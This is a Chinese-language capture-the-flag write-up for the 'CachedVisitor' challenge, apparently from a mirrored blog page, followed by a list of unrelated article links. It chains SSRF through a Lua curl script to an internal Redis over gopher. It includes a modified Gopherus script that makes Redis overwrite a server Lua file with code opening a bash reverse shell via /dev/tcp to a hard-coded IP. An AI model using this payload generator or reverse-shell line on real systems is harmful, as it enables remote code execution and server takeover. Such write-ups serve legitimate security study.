当前位置: 首页 > news >正文

【Web】软件系统安全赛CachedVisitor——记一次二开工具的经历

明天开始考试周,百无聊赖开了一把CTF,还顺带体验了下二开工具,让无聊的Z3很开心🙂

CachedVisitor这题

大概描述一下:从main.lua加载一段visit.script中被##LUA_START##(.-)##LUA_END##包裹的lua代码

main.lua

local function read_file(filename)local file = io.open(filename, "r")if not file thenprint("Error: Could not open file " .. filename)return nilendlocal content = file:read("*a")file:close()return content
endlocal function execute_lua_code(script_content)local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")if lua_code thenlocal chunk, err = load(lua_code)if chunk thenlocal success, result = pcall(chunk)if not success thenprint("Error executing Lua code: ", result)endelseprint("Error loading Lua code: ", err)endelseprint("Error: No valid Lua code block found.")end
endlocal function main()local filename = "/scripts/visit.script"local script_content = read_file(filename)if script_content thenexecute_lua_code(script_content)end
endmain()

visit.script

##LUA_START##
local curl = require("cURL")
local redis = require("resty.redis")ngx.req.read_body()
local args = ngx.req.get_uri_args()
local url = args.urlif not url thenngx.say("URL parameter is missing!")return
endlocal red = redis:new()
red:set_timeout(1000)local ok, err = red:connect("127.0.0.1", 6379)
if not ok thenngx.say("Failed to connect to Redis: ", err)return
endlocal res, err = red:get(url)
if res and res ~= ngx.null thenngx.say(res)return
endlocal c = curl.easy {url = url,timeout = 5,connecttimeout = 5
}local response_body = {}c:setopt_writefunction(table.insert, response_body)local ok, err = pcall(c.perform, c)if not ok thenngx.say("Failed to perform request: ", err)c:close()return
endc:close()local response_str = table.concat(response_body)local ok, err = red:setex(url, 3600, response_str)
if not ok thenngx.say("Failed to save response in Redis: ", err)return
endngx.say(response_str)
##LUA_END##

题目预设的visit.script是与内网的redis通信,可以打用gopher协议打redis任意文件写,但题目没有计划任务,考虑直接覆写/scripts/visit.script

因为有##LUA_START##(.-)##LUA_END##包裹,所以不会被脏数据影响

直接用redis-over-gopher一直打不通

sec_tools/redis-over-gopher at master · firebroo/sec_tools · GitHub

Gopherus有一段类似的逻辑,它的反弹shell是通过覆盖计划任务文件来实现

于是这里通过修改gopherus的/scripts/Redis.py来生成payload

import urllibdef Redis():def get_Redis_OverWrite():target_dir = raw_input("input target dir: ") or "/scripts"ip = raw_input("input rev ip: ") or "27.25.151.98"port = raw_input("input rev port: ") or "1337"file = raw_input("input target filename: ") or "visit.script"file_len = len(file)cmd = """##LUA_START##os.execute("bash -c 'sh -i &>/dev/tcp/{}/{} 0>&1'")##LUA_END##""".format(ip, port)len_cmd = len(cmd) + 5payload = """*1\r
$8\r
flushall\r
*3\r
$3\r
set\r
$1\r
1\r
${}\r{}\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
${}\r
{}\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
${}\r
{}\r
*1\r
$4\r
save\r""".format(len_cmd, cmd, len(target_dir), target_dir, file_len, file)finalpayload = urllib.quote_plus(payload).replace("+", "%20").replace("%2F", "/").replace("%25", "%").replace("%3A", ":")print("\033[93m" + "\nYour gopher link is ready to overwrite file: \n" + "\033[0m")print("\033[04m" + "gopher://127.0.0.1:6379/_" + finalpayload + "\033[0m")print("\n" + "\033[41m" + "-----------Made-by-Z3r4y-----------" + "\033[0m")get_Redis_OverWrite()

 

直接打入

成功反弹shell 

 

http://www.lryc.cn/news/515876.html

相关文章:

  • 实现自定义集合类:深入理解C#中的IEnumerable<T>接口
  • Compression Techniques for LLMs
  • Nexus Message Transaction Services(MTS)
  • 2025年Stable Diffusion安装教程(超详细)
  • 力扣【SQL连续问题】
  • 深圳市-地铁线路和站点名称shp矢量数据(精品)2021年-2030最新arcmap含规划路线内容测评分析
  • 企业级网络运维管理系统深度解析与实践案例
  • 音视频入门基础:MPEG2-PS专题(5)——FFmpeg源码中,解析PS流中的PES流的实现
  • 【问题记录】npm create vue@latest报错
  • OpenGL材质系统和贴图纹理
  • Markdown中类图的用法
  • 钓鱼攻击(Phishing)详解和实现 (网络安全)
  • window11 wsl mysql8 错误分析:1698 - Access denied for user ‘root‘@‘kong.mshome.net‘
  • C++线程同步之条件变量
  • 如何实现多条件搜索
  • 深入MySQL复杂查询优化技巧
  • Fabric环境部署-Git和Node安装
  • 如何弥补开源大语言模型解决推理任务的不足
  • Ubuntu 下载安装 Consul1.17.1
  • 【数据库系统概论】并发控制--复习
  • MySQL(六)MySQL 案例
  • DDcGAN_多分辨率图像融合的双鉴别条件生成对抗网络_y译文马佳义
  • [读书日志]从零开始学习Chisel 第一篇:书籍介绍,Scala与Chisel概述,Scala安装运行(敏捷硬件开发语言Chisel与数字系统设计)
  • 二、用例图
  • LWIP之一:使用STM32CubeMX搭建基于FreeRTOS的LWIP工程并分析协议栈初始化过程
  • 个性化电影推荐系统|Java|SSM|JSP|
  • UE5AI感知组件
  • 每日一学——日志管理工具(ELK Stack)
  • “智能筛查新助手:AI智能筛查分析软件系统如何改变我们的生活
  • DeepSeek v3为何爆火?如何用其集成Milvus搭建RAG?